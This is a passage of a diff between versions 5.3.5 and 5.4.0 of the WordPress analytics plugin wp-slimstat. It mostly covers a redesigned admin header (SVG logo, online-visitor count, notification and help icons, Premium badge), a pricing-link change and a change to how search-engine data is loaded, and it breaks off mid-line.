63.5742 26.1929 63.5742 25.6098ZM64.1766 25.6098C64.1766 26.0522 64.2703 26.3873 64.4645 26.6085C64.6586 26.8297 64.8995 26.9436 65.194 26.9436C65.4886 26.9436 65.7295 26.8297 65.9236 26.6085C66.1178 26.3873 66.2115 26.0455 66.2115 25.5897C66.2115 25.1607 66.1111 24.8323 65.9169 24.6112C65.7228 24.39 65.4819 24.276 65.1874 24.276C64.8928 24.276 64.6519 24.3833 64.4578 24.6044C64.2637 24.8256 64.1699 25.1607 64.1699 25.6031L64.1766 25.6098Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M67.912 27.3458V23.8673H68.4408V24.3968C68.5746 24.1488 68.7018 23.9879 68.8156 23.9075C68.9294 23.8271 69.0566 23.7869 69.1904 23.7869C69.3912 23.7869 69.592 23.8472 69.7928 23.9745L69.592 24.5241C69.4515 24.437 69.3042 24.3968 69.1637 24.3968C69.0365 24.3968 68.9227 24.437 68.8156 24.5107C68.7152 24.5912 68.6416 24.6984 68.5947 24.8324C68.5278 25.0402 68.4943 25.2681 68.4943 25.5228V27.3391H67.9053L67.912 27.3458Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M72.9258 26.2264L73.5349 26.3002C73.4412 26.6554 73.2605 26.9302 72.9994 27.1313C72.7384 27.3323 72.4104 27.4262 72.0088 27.4262C71.5001 27.4262 71.0984 27.272 70.8039 26.957C70.5027 26.642 70.3555 26.2063 70.3555 25.6433C70.3555 25.0803 70.5027 24.6045 70.8039 24.2827C71.1051 23.961 71.4934 23.8002 71.9753 23.8002C72.4572 23.8002 72.8187 23.961 73.1132 24.276C73.4077 24.5911 73.555 25.0401 73.555 25.6098C73.555 25.6433 73.555 25.697 73.555 25.764H70.9646C70.9847 26.146 71.0918 26.4409 71.2859 26.642C71.48 26.8431 71.7209 26.9436 72.0088 26.9436C72.223 26.9436 72.4104 26.89 72.5643 26.776C72.7183 26.6621 72.8388 26.4811 72.9258 26.2331V26.2264ZM70.9914 25.2747H72.9325C72.9057 24.9798 72.8321 24.7653 72.7116 24.6179C72.5242 24.39 72.2832 24.276 71.982 24.276C71.7143 24.276 71.4867 24.3632 71.2993 24.5508C71.1185 24.7318 71.0114 24.9731 70.9914 25.2747Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M74.8263 27.3458V26.6755H75.4956V27.3458C75.4956 27.5938 75.4488 27.7948 75.3618 27.9423C75.2748 28.0964 75.1342 28.2104 74.9468 28.2975L74.7861 28.0428C74.9133 27.9892 75.0003 27.9088 75.0606 27.8015C75.1208 27.6943 75.1543 27.5401 75.161 27.3458H74.8263Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M79.0566 25.8042L79.6524 25.7506C79.6791 25.9919 79.7461 26.1863 79.8532 26.3404C79.9536 26.4946 80.1142 26.6152 80.3351 26.7158C80.556 26.8096 80.797 26.8565 81.0714 26.8565C81.3124 26.8565 81.5265 26.823 81.714 26.7493C81.9014 26.6755 82.0353 26.5817 82.129 26.4544C82.2227 26.327 82.2628 26.193 82.2628 26.0455C82.2628 25.8981 82.216 25.764 82.129 25.6501C82.0419 25.5361 81.9014 25.4423 81.7006 25.3686C81.5734 25.315 81.2856 25.2412 80.8505 25.134C80.4087 25.0268 80.1008 24.9262 79.9268 24.8324C79.6992 24.7117 79.5252 24.5643 79.4181 24.3833C79.3043 24.2024 79.2508 24.008 79.2508 23.7868C79.2508 23.5455 79.3177 23.3176 79.4583 23.1099C79.5988 22.9021 79.7929 22.7412 80.0607 22.6273C80.3284 22.5133 80.6162 22.4664 80.9375 22.4664C81.2923 22.4664 81.6069 22.52 81.8746 22.6407C82.1424 22.7546 82.3565 22.9222 82.4971 23.1434C82.6377 23.3646 82.718 23.6192 82.7314 23.9007L82.1223 23.9477C82.0888 23.6461 81.9817 23.4182 81.7876 23.2573C81.6002 23.1032 81.3191 23.0227 80.9509 23.0227C80.5828 23.0227 80.2882 23.0965 80.1142 23.2305C79.9402 23.3713 79.8532 23.5388 79.8532 23.7399C79.8532 23.9142 79.9134 24.0549 80.0406 24.1621C80.1611 24.2761 80.4824 24.39 80.9978 24.504C81.5132 24.6179 81.8679 24.7251 82.0553 24.8123C82.3365 24.9396 82.5373 25.1072 82.6711 25.3016C82.805 25.4959 82.8719 25.7238 82.8719 25.9852C82.8719 26.2466 82.7983 26.4812 82.6511 26.7091C82.5038 26.9369 82.2963 27.1112 82.0219 27.2385C81.7474 27.3659 81.4395 27.4262 81.0982 27.4262C80.6631 27.4262 80.3016 27.3659 80.0071 27.2385C79.7126 27.1112 79.485 26.9235 79.3177 26.6688C79.1503 26.4142 79.0633 26.1259 79.0566 25.8042Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M84.0633 27.3458V22.5469H84.6524V24.2694C84.9268 23.9477 85.2749 23.7935 85.6899 23.7935C85.9442 23.7935 86.1718 23.8471 86.3592 23.9477C86.5466 24.0482 86.6872 24.189 86.7675 24.3699C86.8478 24.5509 86.888 24.8056 86.888 25.1474V27.3525H86.299V25.1474C86.299 24.8525 86.232 24.638 86.1049 24.504C85.9777 24.3699 85.797 24.3029 85.5627 24.3029C85.3887 24.3029 85.2213 24.3498 85.0741 24.437C84.9201 24.5308 84.813 24.6514 84.7461 24.8056C84.6791 24.9597 84.6457 25.1742 84.6457 25.449V27.3525H84.0566L84.0633 27.3458Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M90.4495 26.9169C90.2287 27.1046 90.0212 27.2319 89.8204 27.3123C89.6195 27.3861 89.4054 27.4263 89.1711 27.4263C88.7896 27.4263 88.495 27.3324 88.2942 27.1448C88.0867 26.9571 87.9863 26.7225 87.9863 26.4276C87.9863 26.2601 88.0265 26.0992 88.1001 25.9584C88.1804 25.8177 88.2808 25.7038 88.4013 25.6166C88.5285 25.5295 88.6691 25.4692 88.823 25.4223C88.9368 25.3887 89.1108 25.3619 89.3451 25.3351C89.8204 25.2815 90.1684 25.2078 90.396 25.134C90.396 25.0536 90.396 25 90.396 24.9799C90.396 24.7386 90.3425 24.571 90.2287 24.4705C90.0814 24.3365 89.8538 24.2694 89.5593 24.2694C89.2849 24.2694 89.0774 24.3164 88.9435 24.4169C88.8096 24.5107 88.7159 24.685 88.649 24.933L88.0733 24.8525C88.1269 24.6046 88.2139 24.4035 88.3344 24.256C88.4549 24.1019 88.6289 23.9879 88.8565 23.9075C89.0841 23.8271 89.3451 23.7869 89.6463 23.7869C89.9475 23.7869 90.1818 23.8204 90.3692 23.8941C90.5566 23.9678 90.6905 24.055 90.7775 24.1555C90.8645 24.2627 90.9248 24.3968 90.9583 24.5576C90.9783 24.6582 90.985 24.8391 90.985 25.1005V25.8847C90.985 26.4343 90.9984 26.7761 91.0252 26.9236C91.052 27.071 91.0988 27.2051 91.1724 27.3391H90.5566C90.4964 27.2185 90.4562 27.071 90.4362 26.9102L90.4495 26.9169ZM90.4027 25.6032C90.1885 25.6903 89.8672 25.7641 89.4388 25.8244C89.1979 25.8579 89.0238 25.8981 88.9234 25.945C88.823 25.992 88.7427 26.0523 88.6891 26.1394C88.6356 26.2198 88.6088 26.3137 88.6088 26.4209C88.6088 26.5751 88.6691 26.7091 88.7895 26.8164C88.91 26.9236 89.0841 26.9705 89.3116 26.9705C89.5392 26.9705 89.74 26.9236 89.9141 26.8231C90.0881 26.7225 90.222 26.5885 90.3023 26.4142C90.3625 26.2802 90.396 26.0858 90.396 25.8244V25.6099L90.4027 25.6032Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M92.3036 27.3458V23.8673H92.8324V24.3968C92.9662 24.1488 93.0934 23.9879 93.2072 23.9075C93.321 23.8271 93.4482 23.7869 93.582 23.7869C93.7828 23.7869 93.9836 23.8472 94.1845 23.9745L93.9836 24.5241C93.8431 24.437 93.6958 24.3968 93.5553 24.3968C93.4281 24.3968 93.3143 24.437 93.2072 24.5107C93.1068 24.5912 93.0332 24.6984 92.9863 24.8324C92.9194 25.0402 92.8859 25.2681 92.8859 25.5228V27.3391H92.2969L92.3036 27.3458Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M97.3164 26.2264L97.9255 26.3002C97.8318 26.6554 97.6511 26.9302 97.39 27.1313C97.129 27.3323 96.801 27.4262 96.3994 27.4262C95.8907 27.4262 95.4891 27.272 95.1946 26.957C94.8933 26.642 94.7461 26.2063 94.7461 25.6433C94.7461 25.0803 94.8933 24.6045 95.1946 24.2827C95.4958 23.961 95.884 23.8002 96.3659 23.8002C96.8479 23.8002 97.2093 23.961 97.5038 24.276C97.7983 24.5911 97.9456 25.0401 97.9456 25.6098C97.9456 25.6433 97.9456 25.697 97.9456 25.764H95.3552C95.3753 26.146 95.4824 26.4409 95.6765 26.642C95.8706 26.8431 96.1116 26.9436 96.3994 26.9436C96.6136 26.9436 96.801 26.89 96.955 26.776C97.1089 26.6621 97.2294 26.4811 97.3164 26.2331V26.2264ZM95.382 25.2747H97.3231C97.2963 24.9798 97.2227 24.7653 97.1022 24.6179C96.9148 24.39 96.6738 24.276 96.3726 24.276C96.1049 24.276 95.8773 24.3632 95.6899 24.5508C95.5092 24.7318 95.4021 24.9731 95.382 25.2747Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M101.373 27.3458V22.5469H102.009V26.7761H104.372V27.3391H101.38L101.373 27.3458Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M107.825 26.2264L108.434 26.3002C108.341 26.6554 108.16 26.9302 107.899 27.1313C107.638 27.3323 107.31 27.4262 106.908 27.4262C106.399 27.4262 105.998 27.272 105.703 26.957C105.402 26.642 105.255 26.2063 105.255 25.6433C105.255 25.0803 105.402 24.6045 105.703 24.2827C106.005 23.961 106.393 23.8002 106.875 23.8002C107.357 23.8002 107.718 23.961 108.013 24.276C108.307 24.5911 108.454 25.0401 108.454 25.6098C108.454 25.6433 108.454 25.697 108.454 25.764H105.864C105.884 26.146 105.991 26.4409 106.185 26.642C106.379 26.8431 106.62 26.9436 106.908 26.9436C107.122 26.9436 107.31 26.89 107.464 26.776C107.618 26.6621 107.738 26.4811 107.825 26.2331V26.2264ZM105.897 25.2747H107.839C107.812 24.9798 107.738 24.7653 107.618 24.6179C107.43 24.39 107.189 24.276 106.888 24.276C106.62 24.276 106.393 24.3632 106.205 24.5508C106.025 24.7318 105.918 24.9731 105.897 25.2747Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M109.338 26.307L109.92 26.2131C109.954 26.4477 110.041 26.6287 110.195 26.7493C110.342 26.8767 110.556 26.937 110.824 26.937C111.092 26.937 111.292 26.8834 111.426 26.7694C111.56 26.6555 111.62 26.5281 111.62 26.3807C111.62 26.2466 111.56 26.1461 111.446 26.0657C111.366 26.0121 111.165 25.945 110.844 25.8646C110.416 25.7574 110.114 25.6635 109.947 25.5831C109.78 25.5027 109.652 25.3954 109.565 25.2547C109.478 25.1139 109.438 24.9598 109.438 24.7855C109.438 24.6314 109.472 24.4839 109.545 24.3566C109.619 24.2225 109.713 24.1153 109.833 24.0281C109.927 23.9611 110.047 23.9008 110.208 23.8539C110.369 23.807 110.536 23.7802 110.717 23.7802C110.991 23.7802 111.225 23.8204 111.433 23.9008C111.64 23.9812 111.788 24.0885 111.888 24.2225C111.989 24.3566 112.055 24.5375 112.089 24.7587L111.513 24.8391C111.487 24.6582 111.413 24.5174 111.286 24.4236C111.159 24.323 110.984 24.2761 110.757 24.2761C110.489 24.2761 110.295 24.323 110.181 24.4102C110.067 24.4973 110.007 24.6045 110.007 24.7252C110.007 24.7989 110.034 24.8726 110.081 24.933C110.128 24.9933 110.201 25.0469 110.308 25.0871C110.369 25.1072 110.543 25.1608 110.831 25.2346C111.246 25.3485 111.54 25.4356 111.701 25.5094C111.868 25.5831 111.995 25.6836 112.089 25.8177C112.183 25.9517 112.229 26.1193 112.229 26.3204C112.229 26.5214 112.176 26.7024 112.055 26.8767C111.942 27.0509 111.774 27.185 111.56 27.2788C111.346 27.3726 111.098 27.4196 110.831 27.4196C110.382 27.4196 110.034 27.3257 109.8 27.1381C109.565 26.9504 109.412 26.6689 109.345 26.3003L109.338 26.307Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M113.087 26.307L113.669 26.2131C113.703 26.4477 113.79 26.6287 113.944 26.7493C114.091 26.8767 114.305 26.937 114.573 26.937C114.841 26.937 115.041 26.8834 115.175 26.7694C115.309 26.6555 115.369 26.5281 115.369 26.3807C115.369 26.2466 115.309 26.1461 115.195 26.0657C115.115 26.0121 114.914 25.945 114.593 25.8646C114.165 25.7574 113.863 25.6635 113.696 25.5831C113.529 25.5027 113.402 25.3954 113.314 25.2547C113.227 25.1139 113.187 24.9598 113.187 24.7855C113.187 24.6314 113.221 24.4839 113.294 24.3566C113.368 24.2225 113.462 24.1153 113.582 24.0281C113.676 23.9611 113.796 23.9008 113.957 23.8539C114.118 23.807 114.285 23.7802 114.466 23.7802C114.74 23.7802 114.974 23.8204 115.182 23.9008C115.389 23.9812 115.537 24.0885 115.637 24.2225C115.738 24.3566 115.804 24.5375 115.838 24.7587L115.262 24.8391C115.236 24.6582 115.162 24.5174 115.035 24.4236C114.908 24.323 114.734 24.2761 114.506 24.2761C114.238 24.2761 114.044 24.323 113.93 24.4102C113.817 24.4973 113.756 24.6045 113.756 24.7252C113.756 24.7989 113.783 24.8726 113.83 24.933C113.877 24.9933 113.95 25.0469 114.057 25.0871C114.118 25.1072 114.292 25.1608 114.58 25.2346C114.995 25.3485 115.289 25.4356 115.45 25.5094C115.617 25.5831 115.744 25.6836 115.838 25.8177C115.932 25.9517 115.979 26.1193 115.979 26.3204C115.979 26.5214 115.925 26.7024 115.804 26.8767C115.691 27.0509 115.523 27.185 115.309 27.2788C115.095 27.3726 114.847 27.4196 114.58 27.4196C114.131 27.4196 113.783 27.3257 113.549 27.1381C113.314 26.9504 113.161 26.6689 113.094 26.3003L113.087 26.307Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M117.236 27.3458V26.6755H117.906V27.3458H117.236Z\" fill=\"#202224\"\u002F>\n+                \u003C\u002Fg>\n+                \u003Cdefs>\n+                    \u003CclipPath id=\"clip0_1213_2675\">\n+                        \u003Crect width=\"118\" height=\"30\" fill=\"white\"\u002F>\n+                    \u003C\u002FclipPath>\n+                \u003C\u002Fdefs>\n+            \u003C\u002Fsvg>\n         \u003C\u002Fdiv>\n-    \u003C?php endif; ?>\n+    \u003C\u002Fdiv>\n \n-    \u003C?php if (isset($is_pro) && $is_pro): ?>\n-        \u003Cdiv class=\"pro-badge\">\n-            \u003Cspan class=\"icon\">\u003C\u002Fspan>\n-            \u003Cp>\u003C?php esc_html_e('Pro is activated!', 'wp-slimstat'); ?>\u003C\u002Fp>\n+    \u003Cdiv class=\"slimstat-header__meta\" role=\"presentation\">\n+        \u003Cdiv class=\"slimstat-header__online\" aria-live=\"polite\">\n+            \u003Cspan class=\"slimstat-header__online-icon\" aria-hidden=\"true\">\n+                \u003Csvg width=\"18\" height=\"18\" viewBox=\"0 0 18 18\" fill=\"none\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n+                \u003Ccircle cx=\"9\" cy=\"4.5\" r=\"3\" fill=\"#676E74\"\u002F>\n+                \u003Cellipse cx=\"9\" cy=\"12.75\" rx=\"5.25\" ry=\"3\" fill=\"#676E74\"\u002F>\n+                \u003C\u002Fsvg>\n+            \u003C\u002Fspan>\n+            \u003Cspan class=\"slimstat-header__online-label\">\u003C?php esc_html_e('Online Visitors', 'wp-slimstat'); ?>\u003C\u002Fspan>\n+            \u003Cspan id=\"slimstat-online-visitors-count\" class=\"slimstat-header__online-value\">\u003C?php echo esc_html($formatted_online_visitors); ?>\u003C\u002Fspan>\n         \u003C\u002Fdiv>\n-    \u003C?php endif; ?>\n+    \u003C\u002Fdiv>\n+\n+    \u003Cdiv class=\"slimstat-header__actions\">\n+        \u003Cdiv class=\"slimstat-header__icon-bar\">\n+            \u003C?php if ($displayNotifications): ?>\n+                \u003Ca href=\"#\" class=\"slimstat-header__icon slimstat-header__icon--notifications slimstat-notifications js-slimstat-open-notification \u003C?php echo $hasUpdatedNotifications ? esc_attr('slimstat-notifications--has-items') : ''; ?>\" title=\"\u003C?php esc_attr_e('Notifications', 'wp-slimstat'); ?>\" aria-label=\"\u003C?php esc_attr_e('Notifications', 'wp-slimstat'); ?>\">\n+                    \u003Cspan class=\"dashicons dashicons-bell\" aria-hidden=\"true\">\u003C\u002Fspan>\n+                    \u003C?php if ($newNotificationCount > 0): ?>\n+                        \u003Cspan class=\"slimstat-header__badge\">\u003C?php echo esc_html(number_format_i18n($newNotificationCount)); ?>\u003C\u002Fspan>\n+                    \u003C?php endif; ?>\n+                \u003C\u002Fa>\n+            \u003C?php endif; ?>\n+\u003C!--            \u003Cbutton type=\"button\" class=\"slimstat-header__icon slimstat-header__icon--feedback\" data-slimstat-feedback-trigger data-slimstat-feedback-fallback=\"-->\u003C?php \u002F\u002Fecho esc_url($support_url); ?>\u003C!--\" title=\"-->\u003C?php \u002F\u002Fesc_attr_e('Share Feedback', 'wp-slimstat'); ?>\u003C!--\" aria-label=\"-->\u003C?php \u002F\u002Fesc_attr_e('Share Feedback', 'wp-slimstat'); ?>\u003C!--\">-->\n+\u003C!--                \u003Cspan class=\"dashicons dashicons-format-chat\" aria-hidden=\"true\">\u003C\u002Fspan>-->\n+\u003C!--                \u003Cspan class=\"screen-reader-text\">-->\u003C?php \u002F\u002Fesc_html_e('Open feedback form', 'wp-slimstat'); ?>\u003C!--\u003C\u002Fspan>-->\n+\u003C!--            \u003C\u002Fbutton>-->\n+            \u003Cbutton type=\"button\" class=\"slimstat-header__icon slimstat-header__icon--help\" data-slimstat-help-trigger data-slimstat-help-fallback=\"\u003C?php echo esc_url($docs_url); ?>\" title=\"\u003C?php esc_attr_e('Help', 'wp-slimstat'); ?>\" aria-label=\"\u003C?php esc_attr_e('Help', 'wp-slimstat'); ?>\">\n+                \u003Cspan class=\"dashicons dashicons-editor-help\" aria-hidden=\"true\">\u003C\u002Fspan>\n+                \u003Cspan class=\"screen-reader-text\">\u003C?php esc_html_e('Open help panel', 'wp-slimstat'); ?>\u003C\u002Fspan>\n+            \u003C\u002Fbutton>\n+            \u003Ca href=\"\u003C?php echo esc_url($settings_url); ?>\" class=\"slimstat-header__icon\" title=\"\u003C?php esc_attr_e('Settings', 'wp-slimstat'); ?>\" aria-label=\"\u003C?php esc_attr_e('Settings', 'wp-slimstat'); ?>\">\n+                \u003Cspan class=\"dashicons dashicons-admin-generic\" aria-hidden=\"true\">\u003C\u002Fspan>\n+            \u003C\u002Fa>\n+        \u003C\u002Fdiv>\n+\n+        \u003C?php if (isset($is_pro) && $is_pro): ?>\n+            \u003Cspan class=\"slimstat-header__status-pill\" aria-label=\"\u003C?php esc_attr_e('Premium plan active', 'wp-slimstat'); ?>\">\n+                \u003Cspan class=\"slimstat-header__status-icon\" aria-hidden=\"true\">\n+                    \u003Csvg width=\"12\" height=\"14\" viewBox=\"0 0 12 14\" fill=\"none\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n+                        \u003Cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M0.251677 2.05494C0 2.41352 0 3.47938 0 5.6111V6.66091C0 10.4196 2.82597 12.2437 4.59904 13.0182C5.08001 13.2283 5.32049 13.3333 6 13.3333C6.67951 13.3333 6.91999 13.2283 7.40096 13.0182C9.17402 12.2437 12 10.4196 12 6.66091V5.6111C12 3.47938 12 2.41352 11.7483 2.05494C11.4966 1.69636 10.4945 1.3533 8.49006 0.667195L8.10819 0.536478C7.06335 0.178826 6.54093 0 6 0C5.45907 0 4.93666 0.178826 3.89182 0.536478L3.50994 0.667195C1.50555 1.3533 0.503354 1.69636 0.251677 2.05494ZM8.03964 5.66634C8.22355 5.46036 8.20566 5.14428 7.99967 4.96036C7.79369 4.77645 7.47761 4.79434 7.2937 5.00033L5.28571 7.24927L4.7063 6.60033C4.52239 6.39434 4.20631 6.37645 4.00033 6.56036C3.79434 6.74428 3.77645 7.06036 3.96036 7.26634L4.91275 8.33301C5.00761 8.43925 5.14328 8.5 5.28571 8.5C5.42815 8.5 5.56382 8.43925 5.65868 8.33301L8.03964 5.66634Z\" fill=\"#18A456\"\u002F>\n+                    \u003C\u002Fsvg>\n+                \u003C\u002Fspan>\n+                \u003Cspan class=\"slimstat-header__status-text\">\u003C?php esc_html_e('Premium', 'wp-slimstat'); ?>\u003C\u002Fspan>\n+            \u003C\u002Fspan>\n+        \u003C?php else: ?>\n+            \u003Ca href=\"\u003C?php echo esc_url($upgrade_url); ?>\" class=\"slimstat-header__cta slimstat-upgrade-pro\" target=\"_blank\" title=\"\u003C?php esc_attr_e('Upgrade to Premium', 'wp-slimstat'); ?>\">\n+                \u003Cspan class=\"slimstat-header__cta-icon\" aria-hidden=\"true\">\n+                    \u003Csvg width=\"11\" height=\"13\" viewBox=\"0 0 11 13\" fill=\"none\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n+                        \u003Cpath d=\"M7.50106 5.79266C6.8433 5.00565 6.51443 4.61214 6.13637 4.67275C5.75831 4.73336 5.58144 5.20795 5.22771 6.15713L5.1362 6.40269C5.03568 6.67242 4.98542 6.80728 4.88763 6.90662C4.78984 7.00597 4.65559 7.05855 4.38709 7.16371L4.14264 7.25945C3.19778 7.62952 2.72535 7.81455 2.67147 8.19275C2.61759 8.57094 3.01794 8.89184 3.81865 9.53363L4.0258 9.69967C4.25334 9.88205 4.3671 9.97324 4.43296 10.0981C4.49881 10.2229 4.5093 10.3672 4.53027 10.6558L4.54936 10.9186C4.62316 11.9343 4.66006 12.4422 5.00482 12.6153C5.34958 12.7885 5.77388 12.5122 6.62247 11.9597L6.84201 11.8167C7.08316 11.6597 7.20373 11.5812 7.34222 11.559C7.48071 11.5368 7.62144 11.5734 7.9029 11.6466L8.15915 11.7133C9.14962 11.971 9.64485 12.0998 9.91181 11.8286C10.1788 11.5574 10.0406 11.0658 9.76439 10.0825L9.69292 9.82816C9.61442 9.54874 9.57517 9.40903 9.59491 9.27049C9.61465 9.13195 9.69114 9.01026 9.84412 8.76688L9.98339 8.5453C10.5217 7.68883 10.7909 7.2606 10.6111 6.91986C10.4314 6.57912 9.9217 6.55154 8.90238 6.49637L8.63867 6.4821C8.34901 6.46642 8.20418 6.45858 8.07789 6.39516C7.9516 6.33174 7.85814 6.21992 7.67123 5.99627L7.50106 5.79266Z\" fill=\"#202224\"\u002F>\n+                        \u003Cpath d=\"M7.25194 2.11148L7.37396 2.45937C7.50798 2.84147 7.575 3.03253 7.70538 3.17327C7.83577 3.31401 8.01477 3.3885 8.37276 3.53748L8.6987 3.67311C9.95851 4.19737 10.5884 4.4595 10.6603 4.99528C10.6902 5.2183 10.6151 5.42726 10.4403 5.66079C10.3813 5.6448 10.3244 5.63177 10.2709 5.6209C9.92016 5.54958 9.47401 5.52554 9.01929 5.50104L8.6928 5.48338C8.63001 5.47998 8.58119 5.47732 8.53937 5.47461C8.51166 5.44219 8.47975 5.40403 8.43861 5.35481L8.2282 5.10303C7.93462 4.75159 7.64737 4.40773 7.38024 4.16902C7.09537 3.91444 6.61917 3.58241 5.97815 3.68518C5.33031 3.78904 4.98475 4.26042 4.79831 4.59686C4.62558 4.90857 4.47024 5.32575 4.31295 5.74812L4.19924 6.0533C4.18002 6.10486 4.16461 6.14617 4.15104 6.1817C4.11549 6.19596 4.07414 6.21217 4.02248 6.2324L3.71883 6.35132C3.29825 6.51592 2.88328 6.67832 2.5743 6.85611C2.24181 7.04742 1.77426 7.40077 1.68155 8.05153C1.58972 8.69609 1.93301 9.16663 2.19286 9.44567C2.38653 9.65363 2.64674 9.87301 2.92456 10.0978C1.87885 10.3815 1.32261 10.4874 1.00648 10.1461C0.650544 9.76194 0.834708 9.06545 1.20303 7.67249L1.29833 7.31211C1.40299 6.91627 1.45533 6.71835 1.42901 6.52209C1.40269 6.32582 1.30071 6.15342 1.09673 5.80863L0.91103 5.49473C0.193236 4.2814 -0.165661 3.67474 0.0740371 3.19202C0.313735 2.70931 0.993282 2.67023 2.35238 2.59208L2.70399 2.57186C3.09021 2.54965 3.28331 2.53855 3.4517 2.4487C3.62009 2.35886 3.7447 2.20044 3.99392 1.88361L4.22081 1.59516C5.09782 0.480225 5.53632 -0.0772439 6.0404 0.00862086C6.54448 0.0944856 6.7803 0.766818 7.25194 2.11148Z\" fill=\"#202224\"\u002F>\n+                    \u003C\u002Fsvg>\n+                \u003C\u002Fspan>\n+                \u003Cspan class=\"slimstat-header__cta-label\">\u003C?php esc_html_e('Upgrade to Premium', 'wp-slimstat'); ?>\u003C\u002Fspan>\n+                \u003Cspan class=\"slimstat-header__cta-arrow\" aria-hidden=\"true\">\n+                \u003Csvg width=\"4\" height=\"8\" viewBox=\"0 0 4 8\" fill=\"none\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n+                    \u003Cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M0.13096 0.0902856C0.288207 -0.0444977 0.524945 -0.0262872 0.659728 0.13096L3.65973 3.63096C3.7801 3.77139 3.7801 3.97862 3.65973 4.11905L0.659728 7.61905C0.524945 7.7763 0.288207 7.79451 0.13096 7.65973C-0.0262872 7.52494 -0.0444977 7.28821 0.0902856 7.13096L2.8811 3.87501L0.0902856 0.619053C-0.0444977 0.461806 -0.0262872 0.225069 0.13096 0.0902856Z\" fill=\"#202224\"\u002F>\n+                \u003C\u002Fsvg>\n+                \u003C\u002Fspan>\n+            \u003C\u002Fa>\n+        \u003C?php endif; ?>\n+    \u003C\u002Fdiv>\n+\u003C\u002Fdiv>\n \n-\u003C\u002Fdiv>\n\\ No newline at end of file\n+\u003C?php\n+if ($displayNotifications && class_exists(NotificationFactory::class)) {\n+    $notifications = NotificationFactory::getAllNotifications();\n+    View::load('components\u002Fnotification\u002Fside-bar', ['notifications' => $notifications]);\n+}\n+?>\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fpartials\u002Fslimstat-pro-modal.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fpartials\u002Fslimstat-pro-modal.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fpartials\u002Fslimstat-pro-modal.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fpartials\u002Fslimstat-pro-modal.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -98,7 +98,5 @@\n \n         \u003C\u002Fdiv>\n     \u003C\u002Fdiv>\n-    \u003Ca target=\"_blank\" href=\"\u003C?php echo esc_url(SLIMSTAT_ANALYTICS_SITE); ?>\" class=\"go-pro-button\">\u003C?php esc_html_e('Unlock SlimStat Pro', 'wp-slimstat'); ?>\u003C\u002Fa>\n+    \u003Ca target=\"_blank\" href=\"\u003C?php echo esc_url('https:\u002F\u002Fwp-slimstat.com\u002Fpricing\u002F?utm_source=wp-slimstat&utm_medium=link&utm_campaign=email'); ?>\" class=\"go-pro-button\">\u003C?php esc_html_e('Unlock SlimStat Pro', 'wp-slimstat'); ?>\u003C\u002Fa>\n \u003C\u002Fdiv>\n-\n-\u003Cdiv class=\"slimstat-pro-modal-backdrop\">\u003C\u002Fdiv>\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fright-now.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fright-now.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fright-now.php\t2025-12-28 06:28:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fright-now.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -13,8 +13,11 @@\n \u002F\u002F - backlink: format of the URL point to the search engine result page\n \u002F\u002F - charsets: list of charset used to encode the keywords\n \u002F\u002F\n-$search_engines = file_get_contents(plugin_dir_path(dirname(__FILE__, 2)) . 'admin\u002Fassets\u002Fdata\u002Fmatomo-searchengine.json');\n-$search_engines = json_decode($search_engines, true);\n+if (!class_exists('wp_slimstat')) {\n+    include_once dirname(__FILE__, 3) . '\u002Fwp-slimstat.php';\n+}\n+\n+$search_engines = \\wp_slimstat::get_search_engines();\n \u002F\u002F COMPLETE THIS FEATURE!!\n \n \u002F\u002F Available icons\n@@ -93,7 +96,7 @@\n         \u002F\u002F City, if tracked\n         $city_filter = '';\n         if (!empty($results[$i]['city'])) {\n-            $city_filter = \"\u003Ca class='slimstat-filter-link' href='\" . wp_slimstat_reports::fs_url('city equals ' . $results[$i]['city']) . sprintf(\"'>%s\u003C\u002Fa>\", $results[ $i ][ 'city' ]);\n+            $city_filter = 